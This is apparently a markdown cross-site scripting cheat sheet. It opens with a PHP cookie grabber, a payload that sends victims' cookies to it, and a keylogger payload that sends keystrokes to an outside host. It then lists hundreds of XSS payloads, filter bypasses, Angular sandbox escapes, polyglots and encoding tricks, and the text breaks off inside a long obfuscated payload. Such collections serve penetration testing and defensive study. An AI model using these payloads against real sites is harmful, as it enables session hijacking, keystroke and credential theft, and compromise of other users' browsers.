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# Cross Site Scripting
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Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.
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## Exploit code or POC
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Cookie grabber for XSS
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```
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< ?php
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// How to use it
# <script>document.location='http://localhost/XSS/grabber.php?c=' + document.cookie</script>
// Write the cookie in a file
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie.'\r\n');
fclose($fp);
?>
```
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Keylogger for XSS
```
< img src = x onerror = 'document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();' >
```
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## XSS in HTML/Applications
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XSS Basic
```
Basic payload
< script > alert ( 'XSS' ) < / script >
< scr < script > ipt>alert('XSS')< /scr< script > i p t >
">< script > alert ( 'XSS' ) < / script >
">< script > alert ( String . fromCharCode ( 88 , 83 , 83 ) ) < / script >
Img payload
< img src = x onerror = alert('XSS'); >
< img src = x onerror = alert(String.fromCharCode(88,83,83)); >
< img src = x oneonerrorrror = alert(String.fromCharCode(88,83,83)); >
< img src = x:alert(alt) onerror = eval(src) alt = xss >
">< img src = x onerror = alert('XSS'); >
">< img src = x onerror = alert(String.fromCharCode(88,83,83)); >
Svg payload
< svg onload = alert(1) >
< svg / onload = alert('XSS') >
< svg / onload = alert(String.fromCharCode(88,83,83)) >
< svg id = alert(1) onload = eval(id) >
">< svg / onload = alert(String.fromCharCode(88,83,83)) >
">< svg / onload = alert(/XSS/)
```
XSS for HTML5
```
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< body onload = alert(/XSS/.source) >
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< input autofocus onfocus = alert(1) >
< select autofocus onfocus = alert(1) >
< textarea autofocus onfocus = alert(1) >
< keygen autofocus onfocus = alert(1) >
< video / poster / onerror = alert(1) >
< video > < source onerror = "javascript:alert(1)" >
< video src = _ onloadstart = "alert(1)" >
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< details / open / ontoggle = "alert`1`" >
< audio src onloadstart = alert(1) >
< marquee onstart = alert(1) >
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```
XSS in META tag
```
Base64 encoded
< META HTTP-EQUIV = "refresh" CONTENT = "0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K" >
< meta / content = "0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg==" http-equiv = refresh >
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With an additional URL
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< META HTTP-EQUIV = "refresh" CONTENT = "0; URL=http://;URL=javascript:alert('XSS');" >
```
XSS in flash application
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```
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flashmediaelement.swf?jsinitfunctio%gn=alert`1`
flashmediaelement.swf?jsinitfunctio%25gn=alert(1)
ZeroClipboard.swf?id=\"))} catch(e) {alert(1);}//& width=1000& height=1000
swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//
swfupload.swf?buttonText=test< a href = "javascript:confirm(1)" > < img src = "https://web.archive.org/web/20130730223443im_/http://appsec.ws/ExploitDB/cMon.jpg" / > < / a > & .swf
plupload.flash.swf?%#target%g=alert& uid%g=XSS&
moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true
video-js.swf?readyFunction=alert(1)
player.swf?playerready=alert(document.cookie)
player.swf?tracecall=alert(document.cookie)
banner.swf?clickTAG=javascript:alert(1);//
io.swf?yid=\"));}catch(e){alert(1);}//
video-js.swf?readyFunction=alert%28document.domain%2b'%20XSSed!'%29
bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
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```
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XSS in Hidden input
```
< input type = "hidden" accesskey = "X" onclick = "alert(1)" >
Use CTRL+SHIFT+X to trigger the onclick event
```
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DOM XSS
```
#"><img src=/ onerror=alert(2)>
```
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## XSS in wrappers javascript and data URI
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XSS with javascript:
```
javascript:prompt(1)
%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341
& #106& #97& #118& #97& #115& #99& #114& #105& #112& #116& #58& #99& #111& #110& #102& #105& #114& #109& #40& #49& #41
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We can encode the "javacript:" in Hex/Octal
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)
We can use a 'newline character'
java%0ascript:alert(1) - LF (\n)
java%09script:alert(1) - Horizontal tab (\t)
java%0dscript:alert(1) - CR (\r)
Using the escape character
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
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Using the newline and a comment //
javascript://%0Aalert(1)
javascript://anything%0D%0A%0D%0Awindow.alert(1)
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```
XSS with data:
```
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data:text/html,< script > alert ( 0 ) < / script >
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data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
```
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XSS with vbscript: only IE
```
vbscript:msgbox("XSS")
```
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## XSS in files
XSS in XML
```
< html >
< head > < / head >
< body >
< something:script xmlns:something = "http://www.w3.org/1999/xhtml" > alert(1)< / something:script >
< / body >
< / html >
```
XSS in SVG
```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
< svg version = "1.1" baseProfile = "full" xmlns = "http://www.w3.org/2000/svg" >
< polygon id = "triangle" points = "0,0 0,50 50,0" fill = "#009900" stroke = "#004400" / >
< script type = "text/javascript" >
alert(document.domain);
< / script >
< / svg >
```
XSS in SVG (short)
```
< svg xmlns = "http://www.w3.org/2000/svg" onload = "alert(document.domain)" / >
```
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XSS in SWF
```
Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘ ?js=history.go(-1)’ ,’ _self’ );}
IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘ invalidfileinvalidfileinvalidfile’ ,’ target’ );setTimeout(‘ alert(w.document.location);w.close();’ ,1);
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InsecureFlashFile.swf
location to url: InsecureFlashFile.swf?a=location& c=http://www.google.com/
open url to new window: InsecureFlashFile.swf?a=open& c=http://www.google.com/
http request to url: InsecureFlashFile.swf?a=get& c=http://www.google.com/
eval js codz: InsecureFlashFile.swf?a=eval& c=alert(document.domain)
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```
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more payloads in ./files
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## XSS with Relative Path Overwrite - IE 8/9 and lower
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You need these 3 components
```
1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))}
2) URL Rewriting.
3) Relative addressing to CSS style sheet : ../style.css
```
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A little example
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```
http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE]
< html >
< head >
< meta http-equiv = "X-UA-Compatible" content = "IE=EmulateIE7" / >
< link href = "[RELATIVE_URL_INSERTED_HERE]/styles.css" rel = "stylesheet" type = "text/css" / >
< / head >
< body >
Stored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}
< / body >
< / html >
```
Explanation of the vulnerability
```
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The Meta element forces IE’ s document mode into IE7 compat which is required to execute expressions. Our persistent text {}*{xss:expression(open(alert(1)))is included on the page and in a realistic scenario it would be a profile page or maybe a shared status update which is viewable by other users. We use “open” to prevent client side DoS with repeated executions of alert.
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A simple request of “rpo.php/” makes the relative style load the page itself as a style sheet. The actual request is “/labs/xss_horror_show/chapter7/rpo.php/styles.css” the browser thinks there’ s another directory but the actual request is being sent to the document and that in essence is how an RPO attack works.
Demo 1 at http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php
Demo 2 at http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3
MultiBrowser : http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo3.php
From : http://www.thespanner.co.uk/2014/03/21/rpo/
```
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## Mutated XSS for Browser IE8/IE9
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```
< listing id = x > < img src=1 onerror=alert(1)> < / listing >
< script > alert ( document . getElementById ( 'x' ) . innerHTML ) < / script >
```
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IE will read and write (decode) HTML multiple time and attackers XSS payload will mutate and execute.
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## XSS in Angular
Angular 1.6.0
```
{{0[a='constructor'][a]('alert(1)')()}}
```
Angular 1.5.9
```
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}
```
Angular 1.5.0 - 1.5.8
```
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
```
Angular 1.4.0 - 1.4.9
```
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
```
Angular 1.3.20
```
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
```
Angular 1.3.19
```
{{
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'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
$eval('x=alert(1)//');
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}}
```
Angular 1.3.3 - 1.3.18
```
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }}
```
Angular 1.3.1 - 1.3.2
```
{{
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
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'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//');
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}}
```
Angular 1.3.0
```
{{!ready & & (ready = true) & & (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) & &
(apply = constructor) & &
(valueOf = call) & &
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}}
```
Angular 1.2.24 - 1.2.29
```
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
```
Angular 1.2.19 - 1.2.23
```
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
```
Angular 1.2.6 - 1.2.18
```
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
```
Angular 1.2.2 - 1.2.5
```
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
```
Angular 1.2.0 - 1.2.1
```
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
```
Angular 1.0.1 - 1.1.5
```
{{constructor.constructor('alert(1)')()}}
```
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## Polyglot XSS
Polyglot XSS - 0xsobky
```
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//< /stYle/< /titLe/< /teXtarEa/< /scRipt/--!>\x3csVg/< sVg / oNloAd = alert()// > \x3e
```
Polyglot XSS - Ashar Javed
```
">>< marquee >< img src = x onerror = confirm(1) ></ marquee > " >< /plaintext\>< /|\>< plaintext / onmouseover = prompt(1) >< script > prompt ( 1 )</ script > @gmail.com< isindex formaction = javascript:alert(/XSS/) type = submit > '-->" ></ script >< script > alert ( 1 )</ script > ">< img / id = "confirm( 1)" / alt = "/" src = "/" onerror = eval(id&%23x29; > '">< img src = "http: //i.imgur.com/P8mL8.jpg" >
```
Polyglot XSS - Mathias Karlsson
```
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" onclick=alert(1)//< button ‘ onclick = alert(1)// > */ alert(1)//
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```
Polyglot XSS - Rsnake
```
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';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >< / SCRIPT > ">'>< SCRIPT > alert ( String . fromCharCode ( 88 , 83 , 83 ) ) < / SCRIPT >
```
Polyglot XSS - Daniel Miessler
```
javascript://'/< / title > < / style > < / textarea > < / script > -->< p " onclick = alert()// > */alert()/*
javascript://-->< / script > < / title > < / style > "/< / textarea > */< alert ( ) / * ' onclick = alert()// > a
javascript://< / title > "/< / script > < / style > < /textarea/-->*/< alert ( ) / * ' onclick = alert()// > /
javascript://< / title > < / style > < / textarea > -->< / script > < a " / / ' onclick = alert()// > */alert()/*
javascript://'//" -->< / textarea > < / style > < / script > < / title > < b onclick = alert()// > */alert()/*
javascript://< / title > < / textarea > < / style > < /script -->< li ' / / " ' * / alert ( ) / * ' , onclick = alert()//
javascript:alert()//-->< / script > < / textarea > < / style > < / title > < a " / / ' onclick = alert()// > */alert()/*
-->< / script > < / title > < / style > "/< / textarea > < a ' onclick = alert()// > */alert()/*
/< /title/'/< /style/< /script/< /textarea/-->< p " onclick = alert()// > */alert()/*
javascript://-->< / title > < / style > < / textarea > < / script > < svg " / / ' onclick = alert()//
/< /title/'/< /style/< /script/-->< p " onclick = alert()// > */alert()/*
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```
## Filter Bypass and exotic payloads
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Bypass case sensitive
```
< sCrIpt > alert ( 1 ) < / ScRipt >
```
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Bypass quotes for string
```
String.fromCharCode(88,83,83)
```
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Bypass quotes in script tag
```
http://localhost/bla.php?test=< / script > < script > alert ( 1 ) < / script >
< html >
< script >
<?php echo 'foo="text '.$_GET['test'].'";';`?>
< / script >
< / html >
```
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Bypass quotes in mousedown event
```
< a href = "" onmousedown = "var name = '';alert(1)//'; alert('smthg')" > Link< / a >
You can bypass a single quote with ' in an on mousedown event handler
```
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Bypass dot filter
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```
< script > w i n d o w [ ' a l e r t ' ] ( d o c u m e n t [ ' d o m a i n ' ] ) < s c r i p t >
```
Bypass parenthesis for string - Firefox
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```
alert`1`
```
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Bypass onxxxx= blacklist
```
< object onafterscriptexecute = confirm(0) >
< object onbeforescriptexecute = confirm(0) >
```
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Bypass onxxx= filter with a null byte/vertical tab - IE/Safari
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```
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< img src = '1' onerror \x00 = alert(0) />
< img src = '1' onerror \x0b = alert(0) />
```
Bypass onxxx= filter with a '/' - IE/Firefox/Chrome/Safari
```
< img src = '1' onerror / = alert ( 0 ) / >
```
Bypass space filter with "/" - IE/Firefox/Chrome/Safari
```
< img / src = '1' / onerror = alert(0) >
```
Bypass with incomplete html tag - IE/Firefox/Chrome/Safari
```
< img src = '1' onerror = 'alert(0)' <
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```
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Bypass document blacklist
```
< div id = "x" > < / div > < script > alert ( x . parentNode . parentNode . parentNode . location ) < / script >
```
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Bypass using javascript inside a string
```
< script >
foo="text < / script > < script > alert ( 1 ) < / script > ";
< / script >
```
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Bypass using an alternate way to execute an alert
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```
< script > window [ 'alert' ] ( 0 ) < / script >
< script > parent [ 'alert' ] ( 1 ) < / script >
< script > self [ 'alert' ] ( 2 ) < / script >
< script > top [ 'alert' ] ( 3 ) < / script >
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< script > this [ 'alert' ] ( 4 ) < / script >
< script > frames [ 'alert' ] ( 5 ) < / script >
< script > content [ 'alert' ] ( 6 ) < / script >
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```
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Bypass using an alternate way to trigger an alert
```
var i = document.createElement("iframe");
i.onload = function(){
i.contentWindow.alert(1);
}
document.appendChild(i);
// Bypassed security
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
var proxy = obj[name];
obj[name] = function () {
if (exec_original) {
return proxy.apply(this, arguments);
}
};
XSSObject.lockdown(obj, name);
};
XSSObject.proxy(window, 'alert', 'window.alert', false);
```
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Bypass ';' using another character
```
'te' * alert('* ') * 'xt';
'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert ( ' < ' ) < ' xt ' ;
'te' == alert('==') == 'xt';
'te' & alert('& ') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';
```
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Bypass using Unicode
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```
Unicode character U+FF1C FULLWIDTH LESS THAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESS THAN SIGN (< )
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
Unicode character U+FF1C FULLWIDTH LESS THAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESS THAN SIGN (< )
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
%EF%BC%9E becomes >
%EF%BC%9C becomes <
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```
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Bypass using Unicode converted to uppercase
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```
İ (%c4%b0).toLowerCase() => i
ı (%c4%b1).toUpperCase() => I
ſ (%c5%bf) .toUpperCase() => S
K (%E2%84%AA).toLowerCase() => k
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< ſ vg onload = ... > become < SVG ONLOAD = ... >
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< ı frame id = x onload = > .toUpperCase() become < IFRAME ID = X ONLOAD = >
```
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Bypass using overlong UTF-8
```
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< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
" = %CA%BA
' = %CA%B9
```
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Bypass using UTF-7
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```
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+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
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```
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Bypass using UTF-16be
```
%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
\x00< \x00s \x00v \x00g \x00 / \x00o \x00n \x00l \x00o \x00a \x00d \x00 = \x00a \x00l \x00e \x00r \x00t \x00( \x00) \x00 >
```
Bypass using UTF-32
```
%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
```
Bypass using BOM - Byte Order Mark (The page must begin with the BOM character.)
BOM character allows you to override charset of the page
```
BOM Character for UTF-16 Encoding:
Big Endian : 0xFE 0xFF
Little Endian : 0xFF 0xFE
XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E
BOM Character for UTF-32 Encoding:
Big Endian : 0x00 0x00 0xFE 0xFF
Little Endian : 0xFF 0xFE 0x00 0x00
XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
```
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Bypass using weird encoding or native interpretation to hide the payload (alert())
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```javascript
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< script > \u0061 \u006 C \u0065 \u0072 \u0074 ( 1 )</ script >
< img src = "1" onerror = "alert(1)" / >
< iframe src = "javascript:%61%6c%65%72%74%28%31%29" > < / iframe >
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< script > $ =~ []; $ = { ___ :++ $ , $$$$ : ( ! [] + "" )[ $ ], __$ :++ $ , $_$_ : ( ! [] + "" )[ $ ], _$_ :++ $ , $_$$ : ({} + "" )[ $ ], $$_$ : ( $ [ $ ] + "" )[ $ ], _$$ :++ $ , $$$_ : ( ! "" + "" )[ $ ], $__ :++ $ , $_$ :++ $ , $$__ : ({} + "" )[ $ ], $$_ :++ $ , $$$ :++ $ , $___ :++ $ , $__$ :++ $ }; $ . $_ = ( $ . $_ = $ + "" )[ $ . $_$ ] + ( $ . _$ = $ . $_ [ $ . __$ ]) + ( $ . $$ = ( $ . $ + "" )[ $ . __$ ]) + (( ! $ ) + "" )[ $ . _$$ ] + ( $ . __ = $ . $_ [ $ . $$_ ]) + ( $ . $ = ( ! "" + "" )[ $ . __$ ]) + ( $ . _ = ( ! "" + "" )[ $ . _$_ ]) + $ . $_ [ $ . $_$ ] + $ . __ + $ . _$ + $ . $ ; $ . $$ = $ . $ + ( ! "" + "" )[ $ . _$$ ] + $ . __ + $ . _ + $ . $ + $ . $$ ; $ . $ = ( $ . ___ )[ $ . $_ ][ $ . $_ ]; $ . $ ( $ . $ ( $ . $$ + " \"" + $ . $_$_ + ( ! [] + "" )[ $ . _$_ ] + $ . $$$_ + " \\" + $ . __$ + $ . $$_ + $ . _$_ + $ . __ + "(" + $ . ___ + ")" + " \"" )())();</ script >
< script > ( + [ ] ) [ ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( [ ] [ [ ] ] + [ ] ) [ + ! + [ ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] + ( [ ] [ [ ] ] + [ ] ) [ + [ ] ] + ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] ] [ ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( [ ] [ [ ] ] + [ ] ) [ + ! + [ ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] + ( [ ] [ [ ] ] + [ ] ) [ + [ ] ] + ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] ] ( ( ! [ ] + [ ] ) [ + ! + [ ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( [ ] [ ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( [ ] [ [ ] ] + [ ] ) [ + ! + [ ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] + ( [ ] [ [ ] ] + [ ] ) [ + [ ] ] + ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ [ + ! + [ ] ] + [ ! + [ ] + ! + [ ] + ! + [ ] + ! + [ ] ] ] + [ + [ ] ] + ( [ ] [ ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! 